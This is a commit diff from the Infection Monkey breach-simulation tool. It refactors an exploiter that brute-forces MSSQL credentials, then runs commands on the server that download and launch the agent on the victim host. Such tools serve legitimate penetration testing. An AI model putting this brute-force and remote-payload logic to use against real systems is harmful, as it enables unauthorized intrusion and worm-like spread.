Merge pull request #1779 from guardicore/1738-add-mssql-to-puppet

1738 add mssql to puppet
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VakarisZ 2022-03-15 16:21:36 +02:00 committed by GitHub
commit 87cbb07da0
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6 changed files with 81 additions and 73 deletions

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@ -1,7 +1,3 @@
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable """
class FailedExploitationError(Exception):
""" Raise when exploiter fails instead of returning False """

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@ -1,17 +1,20 @@
import logging
import os
import sys
from time import sleep
import pymssql
from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_monkey_dest_path
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
from infection_monkey.exploit.tools.helpers import get_agent_dest_path
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import DROPPER_ARG
from infection_monkey.transport import LockedHTTPServer
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
@ -42,35 +45,42 @@ class MSSQLExploiter(HostExploiter):
"DownloadFile(^'{http_path}^' , ^'{dst_path}^')"
)
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
def __init__(self):
super().__init__()
self.cursor = None
self.monkey_server = None
self.agent_http_path = None
self.payload_file_path = os.path.join(
MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME
)
def _exploit_host(self):
def _exploit_host(self) -> ExploiterResultData:
"""
First this method brute forces to get the mssql connection (cursor).
Also, don't forget to start_monkey_server() before self.upload_monkey() and
self.stop_monkey_server() after
"""
# Brute force to get connection
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
self.cursor = self.brute_force(
self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list
creds = generate_identity_secret_pairs(
self.options["credentials"]["exploit_user_list"],
self.options["credentials"]["exploit_password_list"],
)
# Create dir for payload
self.create_temp_dir()
try:
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
except FailedExploitationError:
logger.info(
f"Failed brute-forcing of MSSQL server on {self.host},"
f" no credentials were successful"
)
return self.exploit_result
try:
# Create dir for payload
self.create_temp_dir()
self.create_empty_payload_file()
self.start_monkey_server()
http_thread = self.start_monkey_server()
self.upload_monkey()
self.stop_monkey_server()
MSSQLExploiter._stop_monkey_server(http_thread)
# Clear payload to pass in another command
self.create_empty_payload_file()
@ -79,9 +89,18 @@ class MSSQLExploiter(HostExploiter):
self.remove_temp_dir()
except Exception as e:
raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2])
error_message = (
f"An unexpected error occurred when trying "
f"to exploit MSSQL on host {self.host}: {e}"
)
return True
logger.error(error_message)
self.exploit_result.error_message = error_message
return self.exploit_result
self.exploit_result.propagation_success = True
return self.exploit_result
def run_payload_file(self):
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
@ -132,12 +151,17 @@ class MSSQLExploiter(HostExploiter):
)
self.run_mssql_command(tmp_dir_removal_command)
def start_monkey_server(self):
self.monkey_server = MonkeyHTTPServer(self.host)
self.monkey_server.start()
def start_monkey_server(self) -> LockedHTTPServer:
dst_path = get_agent_dest_path(self.host, self.options)
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, dst_path, self.agent_repository
)
return http_thread
def stop_monkey_server(self):
self.monkey_server.stop()
@staticmethod
def _stop_monkey_server(http_thread):
http_thread.stop()
http_thread.join(LONG_REQUEST_TIMEOUT)
def write_download_command_to_payload(self):
monkey_download_command = self.get_monkey_download_command()
@ -145,9 +169,9 @@ class MSSQLExploiter(HostExploiter):
return monkey_download_command
def get_monkey_launch_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
dst_path = get_agent_dest_path(self.host, self.options)
# Form monkey's launch command
monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path)
monkey_args = build_monkey_commandline(self.host, self.current_depth - 1, dst_path)
suffix = ">>{}".format(self.payload_file_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
return MSSQLLimitedSizePayload(
@ -157,9 +181,9 @@ class MSSQLExploiter(HostExploiter):
)
def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
dst_path = get_agent_dest_path(self.host, self.options)
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
http_path=self.monkey_server.http_path, dst_path=dst_path
http_path=self.agent_http_path, dst_path=dst_path
)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(
@ -194,9 +218,9 @@ class MSSQLExploiter(HostExploiter):
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
)
logger.info(
"Successfully connected to host: {0}, using user: {1}, password ("
"SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password))
f"Successfully connected to host: {host} using user: {user} and password"
)
self.exploit_result.exploitation_success = True
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self.report_login_attempt(True, user, password)
cursor = conn.cursor()

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@ -1,4 +1,7 @@
import logging
from typing import Any, Mapping
from infection_monkey.model import VictimHost
logger = logging.getLogger(__name__)
@ -26,31 +29,8 @@ def get_monkey_depth():
return WormConfiguration.depth
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-64.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
logger.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if "linux" in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif "windows-64" in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
logger.error(
"Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen."
)
return False
except AttributeError:
logger.error(
"Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey"
)
return False
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str:
if host.os["type"] == "windows":
return options["dropper_target_path_win_64"]
else:
return options["dropper_target_path_linux"]

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@ -1,6 +1,4 @@
import logging
import os
import os.path
import urllib.error
import urllib.parse
import urllib.request
@ -30,7 +28,7 @@ class HTTPTools(object):
@staticmethod
def create_locked_transfer(
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
):
) -> LockedHTTPServer:
"""
Create http server for file transfer with a lock
:param host: Variable with target's information

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@ -18,6 +18,7 @@ from infection_monkey.credential_collectors import (
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.log4shell import Log4ShellExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.zerologon import ZerologonExploiter
@ -222,6 +223,9 @@ class InfectionMonkey:
)
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
puppet.load_plugin(
"MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER
)
puppet.load_plugin(
"ZerologonExploiter",
exploit_wrapper.wrap(ZerologonExploiter),

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@ -1,6 +1,7 @@
from typing import List
from bson import ObjectId
from gevent.lock import BoundedSemaphore
from common.common_consts import zero_trust_consts
from monkey_island.cc.models.zero_trust.event import Event
@ -9,6 +10,10 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind
class MonkeyZTFindingService:
# Required to synchronize db state between different threads
_finding_lock = BoundedSemaphore()
@staticmethod
def create_or_add_to_existing(test: str, status: str, events: List[Event]):
"""
@ -20,16 +25,17 @@ class MonkeyZTFindingService:
the query - this is not
when this function should be used.
"""
existing_findings = list(MonkeyFinding.objects(test=test, status=status))
assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format(
test, status
)
with MonkeyZTFindingService._finding_lock:
existing_findings = list(MonkeyFinding.objects(test=test, status=status))
assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format(
test, status
)
if len(existing_findings) == 0:
MonkeyZTFindingService.create_new_finding(test, status, events)
else:
# Now we know for sure this is the only one
MonkeyZTFindingService.add_events(existing_findings[0], events)
if len(existing_findings) == 0:
MonkeyZTFindingService.create_new_finding(test, status, events)
else:
# Now we know for sure this is the only one
MonkeyZTFindingService.add_events(existing_findings[0], events)
@staticmethod
def create_new_finding(test: str, status: str, events: List[Event]):